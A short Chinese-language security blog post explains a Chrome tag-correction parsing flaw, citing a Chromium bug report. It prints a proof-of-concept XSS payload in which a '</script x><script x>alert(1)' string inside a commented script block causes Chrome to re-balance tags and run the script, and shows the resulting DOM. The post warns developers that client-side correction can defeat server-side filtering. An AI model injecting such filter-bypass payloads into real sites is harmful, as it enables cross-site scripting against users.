之前的那篇给出了chrome标签修正特性漏洞的两个原型,是在老外发出的11的漏洞思路上的再延展。
我说这个是只属于chrome xss filter的标签修正特性有点误导,这个是全局的,来看下面老外发的这个漏洞
http://code.google.com/p/chromium/issues/detail?id=68484
测试代码是
1.<script><!–
2.var x = "pwned</script x><script x>alert(1);//";
3.//–></script>
结果被修正为
1.<html>
2.<head>
3.<script><!–
4.var x = "pwned</script>
5.<script x>alert(1);//";
6.//–></script>
7.<script></script>
8.</head>
9.<body></body>
10.</html>
chrome动态修正了这个HTML文档的3处节点:
1. 修正为
2.闭合了
chrome的标签修正特性只是按标签配对来修正的,没有考虑HTML注释或其他复杂的情况,所以alert(1)执行了!
深入分析就会发现chrome的标签修正特性漏洞影响深远,在各种复杂的应用环境中会产生漏洞。
黑客不仅可以用于非持久型的XSS漏洞,还能用于富文本环境中,也提醒各位程序员和安全工程师,你在服务端精心布置的安全防御策略,可能会被客户端歪曲修正为安全漏洞。
下一篇:Flash应用安全规范